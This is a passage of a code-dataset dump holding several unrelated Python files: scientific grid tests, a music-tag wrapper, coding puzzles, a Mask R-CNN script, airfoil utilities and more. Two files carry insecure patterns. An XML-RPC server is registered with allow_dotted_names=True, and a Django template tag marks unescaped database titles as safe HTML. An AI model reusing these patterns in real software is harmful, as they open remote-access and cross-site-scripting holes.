% (xmlfile,str(error)))\n        assert 0 == 1\n    finally:\n        if os.path.isdir(tdir):\n            shutil.rmtree(tdir)\n    \ndef test_save():\n    tdir = tempfile.mkdtemp()\n    testfile = os.path.join(tdir,'test.xml')\n    try:\n        print('Testing save/read functionality for shakemap grids...')\n        pga = np.arange(0,16,dtype=np.float32).reshape(4,4)\n        pgv = np.arange(1,17,dtype=np.float32).reshape(4,4)\n        mmi = np.arange(2,18,dtype=np.float32).reshape(4,4)\n        geodict = GeoDict({'xmin':0.5,'xmax':3.5,\n                           'ymin':0.5,'ymax':3.5,\n                           'dx':1.0,'dy':1.0,\n                           'ny':4,'nx':4})\n        layers = OrderedDict()\n        layers['pga'] = pga\n        layers['pgv'] = pgv\n        layers['mmi'] = mmi\n        shakeDict = {'event_id':'usabcd1234',\n                     'shakemap_id':'usabcd1234',\n                     'shakemap_version':1,\n                     'code_version':'4.0',\n                     'process_timestamp':datetime.utcnow(),\n                     'shakemap_originator':'us',\n                     'map_status':'RELEASED',\n                     'shakemap_event_type':'ACTUAL'}\n        eventDict = {'event_id':'usabcd1234',\n                     'magnitude':7.6,\n                     'depth':1.4,\n                     'lat':2.0,\n                     'lon':2.0,\n                     'event_timestamp':datetime.utcnow(),\n                     'event_network':'us',\n                     'event_description':'sample event'}\n        uncDict = {'pga':(0.0,0),\n                   'pgv':(0.0,0),\n                   'mmi':(0.0,0)}\n        shake = ShakeGrid(layers,geodict,eventDict,shakeDict,uncDict)\n        \n        print('Testing save/read functionality...')\n        shake.save(testfile,version=3)\n        shake2 = ShakeGrid.load(testfile)\n        for layer in ['pga','pgv','mmi']:\n            tdata = shake2.getLayer(layer).getData()\n            np.testing.assert_almost_equal(tdata,layers[layer])\n\n        print('Passed save/read functionality for shakemap grids.')\n\n        print('Testing getFileGeoDict method...')\n        fgeodict = ShakeGrid.getFileGeoDict(testfile)\n        print('Passed save/read functionality for shakemap grids.')\n        \n        print('Testing loading with bounds (no resampling or padding)...')\n        sampledict = GeoDict({'xmin':-0.5,'xmax':3.5,\n                              'ymin':-0.5,'ymax':3.5,\n                              'dx':1.0,'dy':1.0,\n                              'ny':5,'nx':5})\n        shake3 = ShakeGrid.load(testfile,samplegeodict=sampledict,\n                                resample=False,doPadding=False,padValue=np.nan)\n        tdata = shake3.getLayer('pga').getData()\n        np.testing.assert_almost_equal(tdata,layers['pga'])\n\n        print('Passed loading with bounds (no resampling or padding)...')\n\n        print('Testing loading shakemap with padding, no resampling...')\n        newdict = GeoDict({'xmin':-0.5,'xmax':4.5,\n                           'ymin':-0.5,'ymax':4.5,\n                           'dx':1.0,'dy':1.0,\n                           'ny':6,'nx':6})\n        shake4 = ShakeGrid.load(testfile,samplegeodict=newdict,\n                                resample=False,doPadding=True,padValue=np.nan)\n        output = np.array([[np.nan,np.nan,np.nan,np.nan,np.nan,np.nan],\n                           [np.nan,0.0,1.0,2.0,3.0,np.nan],\n                           [np.nan,4.0,5.0,6.0,7.0,np.nan],\n                           [np.nan,8.0,9.0,10.0,11.0,np.nan],\n                           [np.nan,12.0,13.0,14.0,15.0,np.nan],\n                           [np.nan,np.nan,np.nan,np.nan,np.nan,np.nan]])\n        tdata = shake4.getLayer('pga').getData()\n        np.testing.assert_almost_equal(tdata,output)\n        print('Passed loading shakemap with padding, no resampling...')\n\n        #make a bigger grid\n        pga = np.arange(0,36,dtype=np.float32).reshape(6,6)\n        pgv = np.arange(1,37,dtype=np.float32).reshape(6,6)\n        mmi = np.arange(2,38,dtype=np.float32).reshape(6,6)\n        layers = OrderedDict()\n        layers['pga'] = pga\n        layers['pgv'] = pgv\n        layers['mmi'] = mmi\n        geodict = GeoDict({'xmin':0.5,'xmax':5.5,\n                           'ymin':0.5,'ymax':5.5,\n                           'dx':1.0,'dy':1.0,\n                           'ny':6,'nx':6})\n        shake = ShakeGrid(layers,geodict,eventDict,shakeDict,uncDict)\n        shake.save(testfile,version=3)\n\n        print('Testing resampling, no padding...')\n        littledict = GeoDict({'xmin':2.0,'xmax':4.0,\n                              'ymin':2.0,'ymax':4.0,\n                              'dx':1.0,'dy':1.0,\n                              'ny':3,'nx':3})\n        shake5 = ShakeGrid.load(testfile,samplegeodict=littledict,resample=True,doPadding=False,padValue=np.nan)\n        output = np.array([[10.5,11.5,12.5],\n                           [16.5,17.5,18.5],\n                           [22.5,23.5,24.5]])\n        tdata = shake5.getLayer('pga').getData()\n        np.testing.assert_almost_equal(tdata,output)\n        print('Passed resampling, no padding...')\n\n        print('Testing resampling and padding...')\n        pga = np.arange(0,16,dtype=np.float32).reshape(4,4)\n        pgv = np.arange(1,17,dtype=np.float32).reshape(4,4)\n        mmi = np.arange(2,18,dtype=np.float32).reshape(4,4)\n        geodict = GeoDict({'xmin':0.5,'ymax':3.5,\n                           'ymin':0.5,'xmax':3.5,\n                           'dx':1.0,'dy':1.0,\n                           'ny':4,'nx':4})\n        layers = OrderedDict()\n        layers['pga'] = pga\n        layers['pgv'] = pgv\n        layers['mmi'] = mmi\n        shake = ShakeGrid(layers,geodict,eventDict,shakeDict,uncDict)\n        shake.save(testfile,version=3)\n        bigdict = GeoDict({'xmin':0.0,'xmax':4.0,\n                           'ymin':0.0,'ymax':4.0,\n                           'dx':1.0,'dy':1.0,\n                           'ny':5,'nx':5})\n        shake6 = ShakeGrid.load(testfile,samplegeodict=bigdict,resample=True,doPadding=True,padValue=np.nan)\n        tdata = shake6.getLayer('pga').getData()\n        output = np.array([[np.nan,np.nan,np.nan,np.nan,np.nan],\n                           [np.nan,2.5,3.5,4.5,np.nan],\n                           [np.nan,6.5,7.5,8.5,np.nan],\n                           [np.nan,10.5,11.5,12.5,np.nan],\n                           [np.nan,np.nan,np.nan,np.nan,np.nan]])\n        np.testing.assert_almost_equal(tdata,output)\n        print('Passed resampling and padding...')\n    except Exception as error:\n        print('Failed to read grid.xml format file \"%s\". Error \"%s\".' % (xmlfile,str(error)))\n        assert 0 == 1\n    finally:\n        if os.path.isdir(tdir):\n            shutil.rmtree(tdir)\n\nif __name__ == '__main__':\n    test_modify()\n    test_interpolate()\n    test_read()\n    test_save()\n    \n","sub_path":"test/shake_test.py","file_name":"shake_test.py","file_ext":"py","file_size_in_byte":10874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"231852287","text":"import taglib\nimport click\nimport copy\nimport os\nfrom . import youtube\n\n\noptions = [\n    click.option('--keywords', envvar='MB_KEYWORDS', help='Keywords', default=None),\n    click.option('--artist', envvar='MB_ARTIST', help='Artist', default=None),\n    click.option('--album', envvar='MB_ALBUM', help='Album', default=None),\n    click.option('--title', envvar='MB_TITLE', help='Title', default=None),\n    click.option('--genre', envvar='MB_GENRE', help='Genre', default=None),\n    click.option('--number', envvar='MB_NUMBER', help='Track number', default=None),\n    click.option('--rating', envvar='MB_RATING', help='Rating', default=None),\n]\n\n\ndef mysplit(s, delim=','):\n    if type(s) is list:\n        return s\n    if s is None:\n        return []\n    if type(s) is str:\n        return [x for x in s.split(delim) if x]\n    raise ValueError(s)\n\n\nclass File(object):\n    id = 0\n\n    def __init__(self, filename, _folder=''):\n        self._folder = _folder\n        self.handle = taglib.File(filename)\n        self.youtube_link = ''\n\n    def to_list(self):\n        return [self.id,\n                self.title,\n                self.album,\n                self.genre,\n                self.artist,\n                self._folder,\n                self.youtube,\n                self.number,\n                self.path,\n                self.rating,\n                self.duration,\n                self.size,\n                mysplit(self.keywords, ' ')\n                ]\n\n    @property\n    def path(self):\n        return self.handle.path\n\n    @property\n    def folder(self):\n        return self._folder\n\n    def __get_first(self, tag, default=''):\n        if tag not in self.handle.tags:\n            return default\n        for item in self.handle.tags[tag]:\n            return str(item)\n        return default\n\n    def __set_first(self, tag, value, force=False):\n        if value is None:\n            return\n        if tag not in self.handle.tags:\n            if force:\n                self.handle.tags[tag] = [value]\n            return\n        del self.handle.tags[tag][0]\n        self.handle.tags[tag].insert(0, value)\n\n    @property\n    def title(self, default=''):\n        return self.__get_first('TITLE', default)\n\n    @title.setter\n    def title(self, title):\n        self.__set_first('TITLE', title)\n\n    @property\n    def album(self, default=''):\n        return self.__get_first('ALBUM', default)\n\n    @album.setter\n    def album(self, album):\n        self.__set_first('ALBUM', album)\n\n    @property\n    def artist(self, default=''):\n        return self.__get_first('ARTIST', default)\n\n    @artist.setter\n    def artist(self, artist):\n        self.__set_first('ARTIST', artist)\n\n    @property\n    def rating(self, default=0.0):\n        s = self.__get_first('FMPS_RATING', default)\n        try:\n            n = float(s)\n            if n < 0.0:\n                return default\n            return n * 5.0\n        except ValueError:\n            return default\n\n    @rating.setter\n    def rating(self, rating):\n        self.__set_first('FMPS_RATING', rating)\n\n    @property\n    def comment(self, defaults=''):\n        return self.__get_first('COMMENT', defaults)\n\n    @comment.setter\n    def comment(self, comment):\n        self.__set_first('COMMENT', comment)\n\n    def fix_comment(self, comment):\n        self.__set_first('COMMENT', comment, force=True)\n\n    @property\n    def description(self, default=''):\n        return self.__get_first('DESCRIPTION', default)\n\n    @description.setter\n    def description(self, description):\n        self.__set_first('DESCRIPTION', description)\n\n    def fix_description(self, description):\n        self.__set_first('DESCRIPTION', description, force=True)\n\n    @property\n    def genre(self, default=''):\n        return self.__get_first('GENRE', default)\n\n    @genre.setter\n    def genre(self, genre):\n        self.__set_first('GENRE', genre)\n\n    @property\n    def number(self, default=-1):\n        s = self.__get_first('TRACKNUMBER', default)\n        try:\n            n = int(s)\n            if n < 0:\n                return default\n            return n\n        except ValueError:\n            return default\n\n    @number.setter\n    def number(self, number):\n        self.__set_first('TRACKNUMBER', number)\n\n    @property\n    def keywords(self):\n        if self.handle.path.endswith('.mp3'):\n            return self.comment\n        elif self.handle.path.endswith('.flac'):\n            if self.comment and not self.description:\n                self.fix_description(self.comment)\n            return self.description\n\n    @keywords.setter\n    def keywords(self, keywords):\n        if self.handle.path.endswith('.mp3'):\n            self.comment = keywords\n        elif self.handle.path.endswith('.flac'):\n            self.fix_description(keywords)\n\n    def add_keywords(self, keywords):\n        tags = copy.deepcopy(self.keywords)\n        for k in keywords:\n            if k not in tags:\n                tags.append(k)\n        if set(self.keywords) != set(tags):\n            self.keywords = tags\n            self.save()\n            return True\n        return False\n\n    def delete_keywords(self, keywords):\n        tags = copy.deepcopy(self.keywords)\n        for k in keywords:\n            if k in tags:\n                tags.remove(k)\n        if set(self.keywords) != set(tags):\n            self.keywords = tags\n            self.save()\n            return True\n        return False\n\n    @property\n    def duration(self):\n        return self.handle.length\n\n    @property\n    def size(self):\n        return os.path.getsize(self.handle.path)\n\n    @property\n    def youtube(self):\n        return self.youtube_link\n\n    async def find_youtube(self):\n        self.youtube_link = await youtube.search(self.artist, self.title, self.duration)\n\n    def save(self):\n        self.handle.save()\n","sub_path":"lib/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":5801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"133376881","text":"\"\"\"\nGiven the sequence of keys visited by a postorder traversal of a binary search tree, reconstruct the tree.\n\nFor example, given the sequence 2, 4, 3, 8, 7, 5, you should construct the following tree:\n\n    5\n   / \\\n  3   7\n / \\   \\\n2   4   8\n\nSolution:\nUse a global pointer, and min/max for each node to decide where to put nodes\n\"\"\"\n\n\nclass Node:\n    def __init__(self, val):\n        self.val = val\n        self.left = None\n        self.right = None\n\n\ndef rebuild_bst(preorder):\n    curr = 0\n\n    def helper(min_val, max_val):\n        nonlocal curr\n        if curr < len(preorder):\n            val = preorder[curr]\n            if min_val < val < max_val:\n                root = Node(val)\n                curr += 1\n                root.left = helper(min_val, val)\n                root.right = helper(val, max_val)\n                return root\n            else:\n                return None\n        return None\n\n    return helper(float(\"-inf\"), float(\"inf\"))\n\n\nif __name__ == \"__main__\":\n    input1 = [5, 3, 2, 4, 7, 8]\n    root = rebuild_bst(input1)\n    assert root.val == 5\n    assert root.right.val == 7\n    assert root.right.right.val == 8\n    assert root.left.val == 3\n    assert root.left.left.val == 2\n    assert root.left.right.val == 4\n","sub_path":"old/dcp_series/dcp_179_preorder.py","file_name":"dcp_179_preorder.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"567505294","text":"s = \"ccccccccccccccc\"\n\ndef lineEncoding(s):\n    new_s = \"\"\n    for x in range(0, len(s)):\n        new_s += s[x]\n        if x == len(s) - 1:\n            pass\n        else:\n            new_letter = s[(x + 1)]\n            if s[x] != new_letter:\n                new_s += \"-\"\n    newnew_s = \"\"\n    letter_list = new_s.split(\"-\")\n    for i in letter_list:\n        if i.count(i[0]) == 1:\n            newnew_s += i[0]\n        else:\n            newnew_s += str(i.count(i[0])) + i[0]\n    return newnew_s\n\nprint(lineEncoding(s))\n\n","sub_path":"Python3/CodeSignal/Arcade/Intro/X - 49 - lineEncoding.py","file_name":"X - 49 - lineEncoding.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"266914750","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nfrom xmlrpc.server import SimpleXMLRPCServer\n\n\nclass ServiceRoot(object):\n    pass\n\n\nclass DirectoryService(object):\n\n    def list(self, dir_name):\n        return os.listdir(dir_name)\n\n\ndef main():\n    server = SimpleXMLRPCServer(\n        (\"localhost\", 8080),\n    )\n    root = ServiceRoot()\n    root.dir = DirectoryService()\n\n    server.register_instance(root, allow_dotted_names=True)\n\n    try:\n        print(\"Starting XML-RPC Server\")\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"Exiting\")\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"standard/066.xmlrpc.server/xmlrpc_instance_dotted_names.py","file_name":"xmlrpc_instance_dotted_names.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"245201488","text":"import os\nimport sys\nimport random\nimport math\nimport re\nimport time\nimport numpy as np\nimport cv2\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom config import Config\nimport utils\nimport model as modellib\nimport visualize\nfrom model import log\n\nclass CellsConfig(Config):\n    \"\"\"Configuration for training on the toy shapes dataset.\n    dh: Derives from the base Config class and overrides values specific\n    to the miccai2017 challenge dataset.\n    \"\"\"\n    # Give the configuration a recognizable 6name\n    NAME = \"miccai2017\"\n\n    # Train on 1 GPU and 8 images per GPU. We can put multiple images on each\n    # GPU because the images are small. Batch size is 8 (GPUs * images/GPU).\n    GPU_COUNT = 1\n    IMAGES_PER_GPU = 1\n\n    # Number of classes (including background)\n    NUM_CLASSES = 1 + 1  # background + 3 shapes\n\n    # Use small images for faster training. Set the limits of the small side\n    # the large side, and that determines the image shape.\n    IMAGE_MIN_DIM = 256\n    IMAGE_MAX_DIM = 256\n\n    # Use smaller anchors because our image and objects are small\n    RPN_ANCHOR_SCALES = (8, 16, 32, 64, 128)  # anchor side in pixels\n\n    # Reduce training ROIs per image because the images are small and have\n    # few objects. Aim to allow ROI sampling to pick 33% positive ROIs.\n    TRAIN_ROIS_PER_IMAGE = 100\n\n    # Use a small epoch since the data is simple\n    STEPS_PER_EPOCH = 1\n\n    USE_MINI_MASK = False\n\n    # dh: Validation is not used at this stage\n    # # use small validation steps since the epoch is small\n    # VALIDATION_STEPS = 5\n\ndef get_ax(rows=1, cols=1, size=8):\n    \"\"\"Return a Matplotlib Axes array to be used in\n    all visualizations in the notebook. Provide a\n    central point to control graph sizes.\n\n    Change the default size attribute to control the size\n    of rendered images\n    \"\"\"\n    _, ax = plt.subplots(rows, cols, figsize=(size * cols, size * rows))\n    return ax\n\ndef random_crop(im):\n    image_size = im.shape\n    patch_size = (256, 256)\n    xstart = random.randint(1, im.shape[0] - patch_size[0])\n    xend = xstart + patch_size[0]\n    ystart = random.randint(1, im.shape[1] - patch_size[1])\n    yend = ystart + patch_size[1]\n    cropsize = [xstart, xend, ystart, yend]\n    return cropsize\n\ndef random_data_aug(img, label):\n    object_nums_len = 1\n    counter = 0\n    while (object_nums_len==1):\n        crop_size = random_crop(img)\n        img_crop = img[crop_size[0]:crop_size[1], crop_size[2]:crop_size[3], :]\n        label_crop = label[crop_size[0]:crop_size[1], crop_size[2]:crop_size[3]]\n        object_nums = np.unique(label_crop)\n        # print('the number objects:', object_nums)\n        object_nums_len = len(object_nums)\n        counter = counter + 1\n        # print(counter)\n        if object_nums_len > 1:\n            mask_crop = np.zeros([img_crop.shape[0], img_crop.shape[1], object_nums_len], dtype=np.uint8)\n            for count, object_num in enumerate(object_nums):\n                imr_copy = np.zeros(label_crop.shape)\n                edge_index = np.where(label_crop == object_num)\n                imr_copy[edge_index] = 1\n                mask_crop[:, :, count] = imr_copy\n    return img_crop, mask_crop\n\nclass CellsDataset(utils.Dataset):\n    \"\"\"Loads miccai2017 challenge dataset.\n    \"\"\"\n\n    def load_images(self, data_choice, total_im_num):\n        \"\"\"Load all images from the cell dataset.\n        count: number of images to load.\n        \"\"\"\n        # choose which dataset to use 0: miccai2017, 1: miccai2015, 2: miccai2015 and miccai2017\n        tel = {0: 'miccai2017', 1: 'miccai2015', 2: 'miccai2015 and miccai2017'}\n        # Add classes\n        self.add_class(\"cells\", 1, \"foreground\")\n\n        if data_choice == 0:\n            # Add images by single for loop\n            path_prefix = '/home/neuron/Desktop/Donghao/cellsegmentation/main_data_folder/maskrcnn'\n            cancer_types = ['gbm', 'hnsc', 'lgg', 'lung']\n            for i in range(total_im_num):\n                rand_img_id = np.random.randint(low=1, high=32, size=1)[0]\n                i_reminder = rand_img_id % 8\n                i_division = rand_img_id // 8\n                img_path = path_prefix + '/resize_train/' + 'image0' + str(i_reminder+1) + '_' \\\n                           + cancer_types[i_division] + '_resized.png'\n                mask_path = path_prefix + '/resize_train_mask/' + 'image0' + str(i_reminder+1) + '_' \\\n                            + cancer_types[i_division] + '_resized.png'\n                img = cv2.imread(img_path)\n                img = np.flip(img, 2)\n                label = cv2.imread(mask_path, cv2.IMREAD_GRAYSCALE)\n                img_crop, mask_crop = random_data_aug(img, label)\n                im_width = img.shape[0]\n                im_height = img.shape[1]\n                self.add_image(source=\"cells\", id=i, image_id=rand_img_id, path=img_path,\n                               width=im_width, height=im_height,\n                               mask_path = mask_path,\n                               imgcrop = img_crop,\n                               maskcrop=mask_crop)\n\n    def load_image(self, image_id):\n        \"\"\"Generate an image from the specs of the given image ID.\n        This function loads the image from a file.\n        \"\"\"\n        info = self.image_info[image_id]\n        image = info['imgcrop']\n        return image\n\n    def load_mask(self, image_id):\n        \"\"\"Generate instance masks for shapes of the given image ID.\n        \"\"\"\n        info = self.image_info[image_id]\n        mask = info['maskcrop']\n        # Map class names to class IDs. Only foreground and background classes are included.\n        class_ids = np.ones((mask.shape[2]))\n        return mask, class_ids.astype(np.int32)\n\n# Root directory of the project\nROOT_DIR = os.getcwd()\n\n# Directory to save logs and trained model\nMODEL_DIR = os.path.join(ROOT_DIR, \"logs\")\n\nconfig = CellsConfig()\nconfig.display()\n\n# Training dataset\ndataset_train = CellsDataset()\ndataset_train.load_images(data_choice=0, total_im_num=10)\ndataset_train.prepare()\n\n# Load and display random samples\nimage_ids = np.random.choice(dataset_train.image_ids, 4)\nfor image_id in image_ids:\n    image = dataset_train.load_image(image_id)\n    mask, class_ids = dataset_train.load_mask(image_id)\n\n# Create model in inference mode\nmodel = modellib.MaskRCNN(mode=\"inference\", model_dir=MODEL_DIR,\n                          config=config)\n\n# Get path to saved weights\n# Either set a specific path or find last trained weights\nmodel_path = os.path.join(ROOT_DIR, \"logs/miccai201720180111T2330/mask_rcnn_miccai2017_0010.h5\")\n# Load trained weights (fill in path to trained weights here)\nassert model_path != \"\", \"Provide path to trained weights\"\n# print(\"Loading weights from \", model_path)\nmodel.load_weights(model_path, by_name=True)\n\n# Random a image id\nimage_id = random.choice(dataset_train.image_ids)\n# Extract the image based on the image id\nimage, image_meta, gt_bbox, gt_mask =\\\n    modellib.load_image_gt(dataset_train, config, image_id, use_mini_mask=False)\n\n# Run object detection\nresults = model.detect([image], verbose=1)\nr = results[0]\nvisualize.display_instances(image, r['rois'], r['masks'], r['class_ids'],\n                            dataset_train.class_names, r['scores'], ax=get_ax())\nplt.show()","sub_path":"lib/Cell_RCNN/cellrcnn_test.py","file_name":"cellrcnn_test.py","file_ext":"py","file_size_in_byte":7267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"614963880","text":"from datetime import datetime\nimport socket\nimport random\n\nrandom.seed(datetime.now())\nnumber = random.randint(0, 6)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_address = ('server', 10000)\nprint('connecting to %s port %s' % server_address)\nsock.connect(server_address)\n\nsock.sendall(str(number).encode())\ndata = sock.recv(128).decode()\nprint('received \"%s\"' % data, end='\\n')\n\nsock.close()\n","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"439059139","text":"\"\"\"\nTemplatetag to show the menu\n\"\"\"\nfrom django import template\nfrom django.utils.safestring import mark_safe\n\nfrom cancaodoceu.apps.video.models import Video\nfrom cancaodoceu.apps.video.components import Vevo, Youtube\n\nregister = template.Library()\n\n@register.simple_tag\ndef template_video(classStyle):\n    videos = Video.objects.all().order_by('-id')\n    itemsHtml = ''\n    scripts = ''\n\n    for item in videos:\n        if item.tipo == 'youtube':\n            video = Youtube(item.url, 760, 446)\n        else:\n            video = Vevo(item.url)\n            scripts = video.getScriptJs()\n\n        titulo = item.titulo\n        subtitulo = item.subtitulo\n\n        itemsHtml = itemsHtml + '<li>' + video.getEmbedLink() + '<div class=\"titulo-video\">%s - <span>%s</span></div></li>' % (titulo,subtitulo)\n\n    html = '<ul class=\"%s\">%s</ul>' % (classStyle, itemsHtml)\n    html = html + scripts\n    html = mark_safe(html)\n\n    return html\n","sub_path":"cancaodoceu/apps/video/templatetags/template_video.py","file_name":"template_video.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"513014711","text":"import numpy as np\n\n# --------------------------------------------------------------\n#                I/O Functions\n# --------------------------------------------------------------\n\n\ndef readNValues(handle, N, dtype, binary=False, sep=\" \"):\n    \"\"\"Read N values of dtype 'float' or 'int' from file handle\"\"\"\n    if binary:\n        sep = \"\"\n\n    if dtype == \"int\":\n        values = np.fromfile(handle, dtype=\"int\", count=N, sep=sep)\n    else:\n        values = np.fromfile(handle, dtype=\"float\", count=N, sep=sep)\n    return values\n\n\ndef writeValues(handle, values, dtype, binary=False):\n    \"\"\"Read N values of type 'float' or 'int' from file handle\"\"\"\n    if binary:\n        values.tofile(handle)\n    else:\n        if dtype == \"float\":\n            values.tofile(handle, sep=\" \", format=\"%f\")\n        elif dtype == \"int\":\n            values.tofile(handle, sep=\" \", format=\"%d\")\n\n\ndef readAirfoilFile(fileName, bluntTe=False, bluntTaperRange=0.1, bluntThickness=0.002):\n    \"\"\"Load the airfoil file\"\"\"\n    f = open(fileName)\n    line = f.readline()  # Read (and ignore) the first line\n    r = []\n    try:\n        r.append([float(s) for s in line.split()])\n    except Exception:\n        pass\n\n    while 1:\n        line = f.readline()\n        if not line:\n            break  # end of file\n        if line.isspace():\n            break  # blank line\n        r.append([float(s) for s in line.split()])\n\n    rr = np.array(r)\n    x = rr[:, 0]\n    y = rr[:, 1]\n    npt = len(x)\n\n    xMin = min(x)\n\n    # There are 4 possibilites we have to deal with:\n    # a. Given a sharp TE -- User wants a sharp TE\n    # b. Given a sharp TE -- User wants a blunt TE\n    # c. Given a blunt TE -- User wants a sharp TE\n    # d. Given a blunt TE -- User wants a blunt TE\n    #    (possibly with different TE thickness)\n\n    # Check for blunt TE:\n    if bluntTe is False:\n        if y[0] != y[-1]:\n            print(\"Blunt Trailing Edge on airfoil: %s\" % (fileName))\n            print(\"Merging to a point over final %f ...\" % (bluntTaperRange))\n            yAvg = 0.5 * (y[0] + y[-1])\n            xAvg = 0.5 * (x[0] + x[-1])\n            yTop = y[0]\n            yBot = y[-1]\n            xTop = x[0]\n            xBot = x[-1]\n\n            # Indices on the TOP surface of the wing\n            indices = np.where(x[0 : npt // 2] >= (1 - bluntTaperRange))[0]\n            for i in range(len(indices)):\n                fact = (x[indices[i]] - (x[0] - bluntTaperRange)) / bluntTaperRange\n                y[indices[i]] = y[indices[i]] - fact * (yTop - yAvg)\n                x[indices[i]] = x[indices[i]] - fact * (xTop - xAvg)\n\n            # Indices on the BOTTOM surface of the wing\n            indices = np.where(x[npt // 2 :] >= (1 - bluntTaperRange))[0]\n            indices = indices + npt // 2\n\n            for i in range(len(indices)):\n                fact = (x[indices[i]] - (x[-1] - bluntTaperRange)) / bluntTaperRange\n                y[indices[i]] = y[indices[i]] - fact * (yBot - yAvg)\n                x[indices[i]] = x[indices[i]] - fact * (xBot - xAvg)\n\n    elif bluntTe is True:\n        # Since we will be rescaling the TE regardless, the sharp TE\n        # case and the case where the TE is already blunt can be\n        # handled in the same manner\n\n        # Get the current thickness\n        curThick = y[0] - y[-1]\n\n        # Set the new TE values:\n        xBreak = 1.0 - bluntTaperRange\n\n        # Rescale upper surface:\n        for i in range(0, npt // 2):\n            if x[i] > xBreak:\n                s = (x[i] - xMin - xBreak) / bluntTaperRange\n                y[i] += s * 0.5 * (bluntThickness - curThick)\n\n        # Rescale lower surface:\n        for i in range(npt // 2, npt):\n            if x[i] > xBreak:\n                s = (x[i] - xMin - xBreak) / bluntTaperRange\n                y[i] -= s * 0.5 * (bluntThickness - curThick)\n\n    return x, y\n\n\ndef writeAirfoilFile(fileName, name, x, y):\n    \"\"\"write an airfoil file\"\"\"\n    f = open(fileName, \"w\")\n    f.write(\"%s\\n\" % name)\n\n    for i in range(len(x)):\n        f.write(f\"{x[i]:12.10f} {y[i]:12.10f}\\n\")\n\n    f.close()\n\n\ndef getCoordinatesFromFile(fileName):\n    \"\"\"Get a list of coordinates from a file - useful for testing\n\n    Parameters\n    ----------\n    fileName : str'\n        filename for file\n\n    Returns\n    -------\n    coordinates : list\n        list of coordinates\n    \"\"\"\n\n    f = open(fileName)\n    coordinates = []\n    for line in f:\n        aux = line.split()\n        coordinates.append([float(aux[0]), float(aux[1]), float(aux[2])])\n\n    f.close()\n    coordinates = np.transpose(np.array(coordinates))\n\n    return coordinates\n\n\ndef write_wing_FFD_file(fileName, slices, N0, N1, N2, axes=None, dist=None):\n    \"\"\"\n    This function can be used to generate a simple FFD. The FFD can be made up\n    of more than one volume, but the volumes will be connected. It is meant for\n    doing simple wing FFDs.\n\n    Parameters\n    ----------\n    fileName : str\n        Name of output file. File is written in plot3d format.\n\n    slices : numpy array of (Nvol+1, 2, 2, 3)\n        Array of slices. Each slice should contain four points in 3D that will\n        be the corners of the FFD on that slice. If the zeroth dimension size\n        is greater than 2, then multiple volumes will be created, connected by\n        the intermediate slice.\n\n    N0 : integer or list\n        Number of points to distribute along the zeroth dimension (along the\n        slice direction).\n\n    N1 : integer or list\n        Number of points to distribute along the first dimension.\n\n    N2 : integer or list\n        Number of points to distribute along the second dimension.\n\n    axes : list of ['i', 'j', 'k'] in arbitrary order\n        The user can interchange which index of the FFD corresponds with each\n        dimension of slices. By default 'k' -> 0, 'j' -> 1, 'i' -> 2.\n\n    dist : list\n        For each volume, the user can specify the distribution of points along\n        each dimension. Options include:\n\n            - linear\n            - cosine\n            - left (tighter spacing on the left side)\n            - right (tighter spacing on the other left side)\n\n    Examples\n    --------\n    This is an example of two volumes:\n\n    .. code-block:: python\n\n        axes = ['k', 'j', 'i']\n        slices = np.array([\n            # Slice 1\n            [[[0, 0, 0], [1, 0, 0]],\n            [[0, 0.2, 0], [1, 0.2, 0]]],\n            # Slice 2\n            [[[0, 0, 2], [1, 0, 2]],\n            [[0, 0.2, 2], [1, 0.2, 2]]],\n            # Slice 3\n            [[[0.5, 0, 6], [1, 0, 6]],\n            [[0.5, 0.2, 6], [1, 0.2, 6]]],\n        ])\n\n        N0 = 5\n        N1 = 2\n        N2 = 8\n\n        dist = [\n            ['left', 'linear', 'linear'],\n            ['cosine', 'linear', 'right']\n        ]\n\n    \"\"\"\n\n    Nvol = slices.shape[0] - 1\n\n    if axes is None:\n        axes = [\"k\", \"j\", \"i\"]\n    if dist is None:\n        dist = [[\"linear\", \"linear\", \"linear\"]] * Nvol\n\n    assert len(dist) == Nvol\n\n    # Make sure the sizes are the right type in each dimension. If an integer is\n    # given, use that same size for every volume.\n    size = [N0, N1, N2]\n    for iVol, item in enumerate(size):\n        if isinstance(item, int):\n            size[iVol] = [item] * Nvol\n        elif not isinstance(item, list):\n            print(\"Incorrect type for N0, N1, or N2.\")\n\n        assert len(size[iVol]) == Nvol\n    N0, N1, N2 = size\n\n    f = open(fileName, \"w\")\n    f.write(f\"{Nvol}\\n\")\n\n    def getDistribution(distIn, N):\n        if not isinstance(distIn, str):\n            assert len(distIn) == N\n            dist = distIn.copy()\n        elif distIn == \"linear\":\n            dist = np.linspace(0, 1, N)\n        elif distIn == \"cosine\":\n            dist = (1 - np.cos(np.linspace(0, np.pi, N))) / 2.0\n        elif distIn == \"left\":\n            dist = np.linspace(0, 1, N) ** (3.0 / 2.0)\n        elif distIn == \"right\":\n            dist = np.linspace(0, 1, N) ** (2.0 / 3.0)\n        return dist\n\n    for i in range(Nvol):\n        size = [N0[i], N1[i], N2[i]]\n        Ni = size[axes.index(\"i\")]\n        Nj = size[axes.index(\"j\")]\n        Nk = size[axes.index(\"k\")]\n        